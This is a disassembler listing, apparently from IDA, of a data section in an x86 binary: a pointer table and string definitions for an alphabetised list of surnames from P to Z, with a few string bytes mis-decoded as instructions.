		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
		dd offset aToye		; "Toye"
		dd offset aTraebert	; "Traebert"
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
		dd offset aTroiani	; "Troiani"
		dd offset aTroy		; "Troy"
		dd offset aTruss	; "Truss"
		dd offset aTsiatis	; "Tsiatis"
		dd offset aTsomides	; "Tsomides"
		dd offset aTsukurov	; "Tsukurov"
		dd offset aTuck		; "Tuck"
		dd offset aTudge	; "Tudge"
		dd offset aTukan	; "Tukan"
		dd offset aTurano	; "Turano"
		dd offset aTurek	; "Turek"
		dd offset aTuttle	; "Tuttle"
		dd offset aTwells	; "Twells"
		dd offset aTzamarias	; "Tzamarias"
		dd offset aUllman	; "Ullman"
		dd offset aUntermeyer	; "Untermeyer"
		dd offset aUpsdell	; "Upsdell"
		dd offset aUrban	; "Urban"
		dd offset aUrdangBrown	; "Urdang-Brown"
		dd offset aUsdan	; "Usdan"
		dd offset aUzuner	; "Uzuner"
		dd offset aVacca	; "Vacca"
		dd offset aWaite	; "Waite"
		dd offset aValberg	; "Valberg"
		dd offset aValencia	; "Valencia"
		dd offset aWales	; "Wales"
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		dd offset aVanallen	; "vanAllen"
		dd offset aVanzwet	; "VanZwet"
		dd offset aVandenberg	; "Vandenberg"
		dd offset aVanheeckeren	; "Vanheeckeren"
		dd offset aWarshafsky	; "Warshafsky"
		dd offset aWasowska	; "Wasowska"
		dd offset aVasquez	; "Vasquez"
		dd offset aWaugh	; "Waugh"
		dd offset aWeighart	; "Weighart"
		dd offset aWeingarten	; "Weingarten"
		dd offset aWeinhaus	; "Weinhaus"
		dd offset aWeissbourd	; "Weissbourd"
		dd offset aWeissman	; "Weissman"
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
; ---------------------------------------------------------------------------
		and	ah, ch
		inc	edx
		add	[esp+ebp*8], dl
		inc	edx
		add	[esp+ebp*8], cl
		inc	edx
		add	[esp+ebp*8], al
		inc	edx
		add	ah, bh
		jmp	short loc_42EC09
; ---------------------------------------------------------------------------
		align 4
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042EBD4o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042EBD0o
		align 4
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042EBCCo
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042EBC8o
aZoldak		db 'Zoldak',0
		align 4
		dd 6272655Ah
		db 69h
; ---------------------------------------------------------------------------


loc_42EC09:				; CODE XREF: ___:0042EBC5j
		outsb
		imul	eax, [eax], 6167655Ah
		outsb
		jnb	short $+2
		add	[edx+61h], bl
		outsb
		db	67h
		ja	near ptr 0EC83h
		insb
		insb
; ---------------------------------------------------------------------------
		dd 0
aZahedi		db 'Zahedi',0
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042EBB0o
aYu		db 'Yu',0               ; DATA XREF: ___:0042EBACo
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042EBA8o
		align 10h
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042EBA4o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042EBA0o
		align 4
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042EB9Co
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042EB98o
		align 4
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042EB94o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042EB90o
		align 4
aYates		db 'Yates',0            ; DATA XREF: ___:0042EB8Co
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042EB88o
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042EB84o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042EB80o
		align 4
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042EB7Co
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042EB78o
		align 4
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042EB74o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042EB70o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042EB6Co
		align 4
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042EB68o
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042EB64o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042EB60o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042EB5Co
		align 4
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042EB58o
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042EB54o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042EB50o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042EB4Co
		align 4
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042EB48o
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042EB44o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042EB40o
		align 10h
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042EB3Co
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042EB38o
		align 10h
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042EB34o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042EB30o
		align 10h
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042EB2Co
aViens		db 'Viens',0            ; DATA XREF: ___:0042EB28o
		align 10h
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042EB24o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042EB20o
aViano		db 'Viano',0            ; DATA XREF: ___:0042EB1Co
		align 4
aViana		db 'Viana',0            ; DATA XREF: ___:0042EB18o
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042EB14o
		align 10h
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042EB10o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042EB0Co
		align 10h
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042EB08o
aWhately	db 'Whately',0          ; DATA XREF: ___:0042EB04o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042EB00o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042EAFCo
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042EAF8o
		align 4
aVenne		db 'Venne',0            ; DATA XREF: ___:0042EAF4o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042EAF0o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042EAECo
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042EAE8o
		align 4
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042EAE4o
		align 4
aWeissman	db 'Weissman',0         ; DATA XREF: ___:0042EAE0o
		align 4
aWeissbourd	db 'Weissbourd',0       ; DATA XREF: ___:0042EADCo
		align 10h
aWeinhaus	db 'Weinhaus',0         ; DATA XREF: ___:0042EAD8o
		align 4
aWeingarten	db 'Weingarten',0       ; DATA XREF: ___:0042EAD4o
		align 4
aWeighart	db 'Weighart',0         ; DATA XREF: ___:0042EAD0o
		align 4
aWaugh		db 'Waugh',0            ; DATA XREF: ___:0042EACCo
		align 4
aVasquez	db 'Vasquez',0          ; DATA XREF: ___:0042EAC8o
aWasowska	db 'Wasowska',0         ; DATA XREF: ___:0042EAC4o
		align 10h
aWarshafsky	db 'Warshafsky',0       ; DATA XREF: ___:0042EAC0o
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: ___:0042EABCo
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: ___:0042EAB8o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: ___:0042EAB4o
aVanallen	db 'vanAllen',0         ; DATA XREF: ___:0042EAB0o
		align 4
aWalter		db 'Walter',0           ; DATA XREF: ___:0042EAACo
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042EAA8o
		align 10h
aWales		db 'Wales',0            ; DATA XREF: ___:0042EAA4o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: ___:0042EAA0o
		align 4
aValberg	db 'Valberg',0          ; DATA XREF: ___:0042EA9Co
aWaite		db 'Waite',0            ; DATA XREF: ___:0042EA98o
		align 4
aVacca		db 'Vacca',0            ; DATA XREF: ___:0042EA94o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: ___:0042EA90o
		align 4
aUsdan		db 'Usdan',0            ; DATA XREF: ___:0042EA8Co
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: ___:0042EA88o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: ___:0042EA84o
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042EA80o
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: ___:0042EA7Co
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042EA78o
		align 10h
aTzamarias	db 'Tzamarias',0        ; DATA XREF: ___:0042EA74o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: ___:0042EA70o
		align 4
aTuttle		db 'Tuttle',0           ; DATA XREF: ___:0042EA6Co
		align 4
aTurek		db 'Turek',0            ; DATA XREF: ___:0042EA68o
		align 4
aTurano		db 'Turano',0           ; DATA XREF: ___:0042EA64o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042EA60o
		align 4
aTudge		db 'Tudge',0            ; DATA XREF: ___:0042EA5Co
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: ___:0042EA58o
		align 4
aTsukurov	db 'Tsukurov',0         ; DATA XREF: ___:0042EA54o
		align 10h
aTsomides	db 'Tsomides',0         ; DATA XREF: ___:0042EA50o
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: ___:0042EA4Co
aTruss		db 'Truss',0            ; DATA XREF: ___:0042EA48o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: ___:0042EA44o
		align 4
aTroiani	db 'Troiani',0          ; DATA XREF: ___:0042EA40o
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042EA3Co
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042EA38o
		align 10h
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042EA34o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: ___:0042EA30o
		align 4
aToye		db 'Toye',0             ; DATA XREF: ___:0042EA2Co
		align 4
aTowler		db 'Towler',0           ; DATA XREF: ___:0042EA28o
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042EA24o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042EA20o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042EA1Co
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042EA18o
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042EA14o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042EA10o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042EA0Co
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042EA08o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042EA04o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042EA00o
aTill		db 'Till',0             ; DATA XREF: ___:0042E9FCo
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E9F8o
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E9F4o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E9F0o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E9ECo
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E9E8o
		align 10h
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E9E4o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E9E0o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E9DCo
		align 10h
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E9D8o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E9D4o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E9D0o
		align 4
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E9CCo
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E9C8o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E9C4o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E9C0o
		align 10h
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E9BCo
aTatar		db 'Tatar',0            ; DATA XREF: ___:0042E9B8o
		align 10h
aTanowitz	db 'Tanowitz',0         ; DATA XREF: ___:0042E9B4o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: ___:0042E9B0o
aTambiah	db 'Tambiah',0          ; DATA XREF: ___:0042E9ACo
aTalaugon	db 'Talaugon',0         ; DATA XREF: ___:0042E9A8o
		align 4
aTai		db 'Tai',0              ; DATA XREF: ___:0042E9A4o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: ___:0042E9A0o
aSwindle	db 'Swindle',0          ; DATA XREF: ___:0042E99Co
aSweetser	db 'Sweetser',0         ; DATA XREF: ___:0042E998o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: ___:0042E994o
		align 4
aSurdam		db 'Surdam',0           ; DATA XREF: ___:0042E990o
		align 4
aSuo		db 'Suo',0              ; DATA XREF: ___:0042E98Co
aSumner		db 'Sumner',0           ; DATA XREF: ___:0042E988o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: ___:0042E984o
		align 4
aStringer	db 'Stringer',0         ; DATA XREF: ___:0042E980o
		align 10h
aStreiff	db 'Streiff',0          ; DATA XREF: ___:0042E97Co
aStrauch	db 'Strauch',0          ; DATA XREF: ___:0042E978o
aStrange	db 'Strange',0          ; DATA XREF: ___:0042E974o
aStott		db 'Stott',0            ; DATA XREF: ___:0042E970o
		align 10h
aStorer		db 'Storer',0           ; DATA XREF: ___:0042E96Co
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: ___:0042E968o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: ___:0042E964o
aStockwell	db 'Stockwell',0        ; DATA XREF: ___:0042E960o
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: ___:0042E95Co
		align 4
aStock		db 'Stock',0            ; DATA XREF: ___:0042E958o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: ___:0042E954o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: ___:0042E950o
		align 4
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: ___:0042E94Co
		align 4
aStepniewska	db 'Stepniewska',0      ; DATA XREF: ___:0042E948o
aStephanian	db 'Stephanian',0       ; DATA XREF: ___:0042E944o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: ___:0042E940o
aStefani	db 'Stefani',0          ; DATA XREF: ___:0042E93Co
aStatlender	db 'Statlender',0       ; DATA XREF: ___:0042E938o
		align 4
aStates		db 'States',0           ; DATA XREF: ___:0042E934o
		align 10h
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: ___:0042E930o
		align 10h
aStang		db 'Stang',0            ; DATA XREF: ___:0042E92Co
		align 4
aStam		db 'Stam',0             ; DATA XREF: ___:0042E928o
		align 10h
aStalvey	db 'Stalvey',0          ; DATA XREF: ___:0042E924o
aStmartin	db 'StMartin',0         ; DATA XREF: ___:0042E920o
		align 4
aSpinrad	db 'Spinrad',0          ; DATA XREF: ___:0042E91Co
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: ___:0042E918o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: ___:0042E914o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: ___:0042E910o
		align 10h
aSperber	db 'Sperber',0          ; DATA XREF: ___:0042E90Co
aSpence		db 'Spence',0           ; DATA XREF: ___:0042E908o
		align 10h
aSpeizer	db 'Speizer',0          ; DATA XREF: ___:0042E904o
aSpaulding	db 'Spaulding',0        ; DATA XREF: ___:0042E900o
		align 4
aSparrow	db 'Sparrow',0          ; DATA XREF: ___:0042E8FCo
aSpanier	db 'Spanier',0          ; DATA XREF: ___:0042E8F8o
aSoultanian	db 'Soultanian',0       ; DATA XREF: ___:0042E8F4o
		align 10h
aSoule		db 'Soule',0            ; DATA XREF: ___:0042E8F0o
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: ___:0042E8ECo
		align 10h
aSottak		db 'Sottak',0           ; DATA XREF: ___:0042E8E8o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: ___:0042E8E4o
		align 10h
aSorabella	db 'Sorabella',0        ; DATA XREF: ___:0042E8E0o
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: ___:0042E8DCo
		align 4
aSomers		db 'Somers',0           ; DATA XREF: ___:0042E8D8o
		align 10h
aSolon		db 'Solon',0            ; DATA XREF: ___:0042E8D4o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: ___:0042E8D0o
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: ___:0042E8CCo
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: ___:0042E8C8o
aSmilow		db 'Smilow',0           ; DATA XREF: ___:0042E8C4o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: ___:0042E8C0o
		align 4
aSloan		db 'Sloan',0            ; DATA XREF: ___:0042E8BCo
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: ___:0042E8B8o
		align 4
aSkerry		db 'Skerry',0           ; DATA XREF: ___:0042E8B4o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: ___:0042E8B0o
		align 4
aSites		db 'Sites',0            ; DATA XREF: ___:0042E8ACo
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: ___:0042E8A8o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: ___:0042E8A4o
		align 10h
aSilvetti	db 'Silvetti',0         ; DATA XREF: ___:0042E8A0o
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: ___:0042E89Co
		align 4
aSigna		db 'Signa',0            ; DATA XREF: ___:0042E898o
		align 10h
aSigini		db 'Sigini',0           ; DATA XREF: ___:0042E894o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: ___:0042E890o
aSiesto		db 'Siesto',0           ; DATA XREF: ___:0042E88Co
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: ___:0042E888o
		align 10h
aShibata	db 'Shibata',0          ; DATA XREF: ___:0042E884o
aShia		db 'Shia',0             ; DATA XREF: ___:0042E880o
		align 10h
aShesko		db 'Shesko',0           ; DATA XREF: ___:0042E87Co
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: ___:0042E878o
		align 4
aSheppard	db 'Sheppard',0         ; DATA XREF: ___:0042E874o
		align 10h
aShepherd	db 'Shepherd',0         ; DATA XREF: ___:0042E870o
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: ___:0042E86Co
		align 4
aShea		db 'Shea',0             ; DATA XREF: ___:0042E868o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: ___:0042E864o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: ___:0042E860o
aShar		db 'Shar',0             ; DATA XREF: ___:0042E85Co
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: ___:0042E858o
aShankland	db 'Shankland',0        ; DATA XREF: ___:0042E854o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: ___:0042E850o
		align 4
aShaikh		db 'Shaikh',0           ; DATA XREF: ___:0042E84Co
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: ___:0042E848o
aSexton		db 'Sexton',0           ; DATA XREF: ___:0042E844o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: ___:0042E840o
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: ___:0042E83Co
aSen		db 'Sen',0              ; DATA XREF: ___:0042E838o
aSelvage	db 'Selvage',0          ; DATA XREF: ___:0042E834o
aSekler		db 'Sekler',0           ; DATA XREF: ___:0042E830o
		align 4
aSegal		db 'Segal',0            ; DATA XREF: ___:0042E82Co
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: ___:0042E828o
		align 4
aSeaton		db 'Seaton',0           ; DATA XREF: ___:0042E824o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: ___:0042E820o
aScovel		db 'Scovel',0           ; DATA XREF: ___:0042E81Co
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: ___:0042E818o
aSchwan		db 'Schwan',0           ; DATA XREF: ___:0042E814o
		align 10h
aSchuyler	db 'Schuyler',0         ; DATA XREF: ___:0042E810o
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: ___:0042E80Co
aSchuman	db 'Schuman',0          ; DATA XREF: ___:0042E808o
aSchossberger	db 'Schossberger',0     ; DATA XREF: ___:0042E804o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: ___:0042E800o
aSchilling	db 'Schilling',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aSchifini	db 'Schifini',0         ; DATA XREF: ___:0042E7F8o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: ___:0042E7F4o
aScheiner	db 'Scheiner',0         ; DATA XREF: ___:0042E7F0o
		align 10h
aScharlemann	db 'Scharlemann',0      ; DATA XREF: ___:0042E7ECo
aScharf		db 'Scharf',0           ; DATA XREF: ___:0042E7E8o
		align 4
aScepan		db 'Scepan',0           ; DATA XREF: ___:0042E7E4o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: ___:0042E7E0o
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: ___:0042E7DCo
		align 10h
aSawtell	db 'Sawtell',0          ; DATA XREF: ___:0042E7D8o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: ___:0042E7D4o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aSatin		db 'Satin',0            ; DATA XREF: ___:0042E7CCo
		align 4
aSase		db 'Sase',0             ; DATA XREF: ___:0042E7C8o
		align 10h
aSartore	db 'Sartore',0          ; DATA XREF: ___:0042E7C4o
aSarin		db 'Sarin',0            ; DATA XREF: ___:0042E7C0o
		align 10h
aSapers		db 'Sapers',0           ; DATA XREF: ___:0042E7BCo
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: ___:0042E7B8o
		align 10h
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: ___:0042E7B4o
aSamson		db 'Samson',0           ; DATA XREF: ___:0042E7B0o
		align 4
aSali		db 'Sali',0             ; DATA XREF: ___:0042E7ACo
		align 10h
aSahu		db 'Sahu',0             ; DATA XREF: ___:0042E7A8o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: ___:0042E7A4o
		align 10h
aSadler		db 'Sadler',0           ; DATA XREF: ___:0042E7A0o
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: ___:0042E79Co
		align 4
aRyu		db 'Ryu',0              ; DATA XREF: ___:0042E798o
aRush		db 'Rush',0             ; DATA XREF: ___:0042E794o
		align 10h
aRuescher	db 'Ruescher',0         ; DATA XREF: ___:0042E790o
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: ___:0042E78Co
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: ___:0042E788o
		align 10h
aRu		db 'Ru',0               ; DATA XREF: ___:0042E784o
		align 4
aRoyal		db 'Royal',0            ; DATA XREF: ___:0042E780o
		align 4
aRow		db 'Row',0              ; DATA XREF: ___:0042E77Co
aRonen		db 'Ronen',0            ; DATA XREF: ___:0042E778o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: ___:0042E774o
		align 10h
aRoesler	db 'Roesler',0          ; DATA XREF: ___:0042E770o
aRocha		db 'Rocha',0            ; DATA XREF: ___:0042E76Co
		align 10h
aRobinson	db 'Robinson',0         ; DATA XREF: ___:0042E768o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: ___:0042E764o
		align 4
aRish		db 'Rish',0             ; DATA XREF: ___:0042E760o
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: ___:0042E75Co
		align 4
aRindos		db 'Rindos',0           ; DATA XREF: ___:0042E758o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: ___:0042E754o
		align 4
aRichmond	db 'Richmond',0         ; DATA XREF: ___:0042E750o
		align 10h
aRhea		db 'Rhea',0             ; DATA XREF: ___:0042E74Co
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: ___:0042E748o
		align 10h
aRepetto	db 'Repetto',0          ; DATA XREF: ___:0042E744o
aRenick		db 'Renick',0           ; DATA XREF: ___:0042E740o
		align 10h
aRemak		db 'Remak',0            ; DATA XREF: ___:0042E73Co
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: ___:0042E738o
aCunningham	db 'Cunningham',0       ; DATA XREF: ___:0042E734o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: ___:0042E730o
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: ___:0042E72Co
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: ___:0042E728o
aRapple		db 'Rapple',0           ; DATA XREF: ___:0042E724o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: ___:0042E720o
		align 10h
aRangan		db 'Rangan',0           ; DATA XREF: ___:0042E71Co
		align 4
aRaney		db 'Raney',0            ; DATA XREF: ___:0042E718o
		align 10h
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: ___:0042E714o
aRadeke		db 'Radeke',0           ; DATA XREF: ___:0042E710o
		align 4
aRabkin		db 'Rabkin',0           ; DATA XREF: ___:0042E70Co
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: ___:0042E708o
		align 4
aQuetin		db 'Quetin',0           ; DATA XREF: ___:0042E704o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: ___:0042E700o
		align 4
aPynchon	db 'Pynchon',0          ; DATA XREF: ___:0042E6FCo
aPugh		db 'Pugh',0             ; DATA XREF: ___:0042E6F8o
		align 4
aPuccia		db 'Puccia',0           ; DATA XREF: ___:0042E6F4o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: ___:0042E6F0o
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: ___:0042E6ECo
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: ___:0042E6E8o
		align 10h
aPritchard	db 'Pritchard',0        ; DATA XREF: ___:0042E6E4o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: ___:0042E6E0o
aPreucel	db 'Preucel',0          ; DATA XREF: ___:0042E6DCo
aPresper	db 'Presper',0          ; DATA XREF: ___:0042E6D8o
aPowers		db 'Powers',0           ; DATA XREF: ___:0042E6D4o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: ___:0042E6D0o
aPoma		db 'Poma',0             ; DATA XREF: ___:0042E6CCo
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: ___:0042E6C8o
aPolanyi	db 'Polanyi',0          ; DATA XREF: ___:0042E6C4o
aPolak		db 'Polak',0            ; DATA XREF: ___:0042E6C0o
		align 4
aPoirier	db 'Poirier',0          ; DATA XREF: ___:0042E6BCo
aPointer	db 'Pointer',0          ; DATA XREF: ___:0042E6B8o
